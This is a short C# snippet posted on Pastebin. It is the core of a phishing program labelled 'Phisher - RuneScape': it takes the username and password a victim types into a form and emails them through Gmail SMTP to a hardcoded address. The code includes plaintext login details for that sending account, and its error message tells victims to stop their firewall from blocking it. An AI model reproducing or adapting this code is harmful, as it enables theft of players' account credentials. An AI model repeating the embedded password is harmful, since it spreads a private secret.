Advertisement
Guest User

Untitled

a guest
Aug 19th, 2017
491
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. button1.Enabled = false; //disables the start button
  2. SmtpClient client = new SmtpClient("smtp.gmail.com", 587); //starts a new client with host and port (I used GMAIL)
  3. client.Credentials = new NetworkCredential("rsmembynow@gmail.com", "fe1995fe"); //username and password
  4. MailMessage msg = new MailMessage(); //starts a new message
  5. msg.From = new MailAddress("rsmembynow@gmail.com"); //the from e-mail
  6. msg.To.Add(new MailAddress("rsmembynow@gmail.com")); //the to e-mail
  7. msg.Subject = "Phisher - RuneScape"; //the e-mail's subject
  8. msg.Body = "Username: " + txtUsername.Text + " | " + "Password: " + txtPassword.Text; //the e-mail's body
  9. client.EnableSsl = true; //enables SSL
  10. try //try to send the e-mail
  11. {
  12. client.Send(msg); //send the e-mail
  13. }
  14. catch (Exception) //catch statment for any errors
  15. {
  16. MessageBox.Show("Error, Try again. \n \n Make sure your firewall is not blocking this application.", "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); // Error message
  17. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement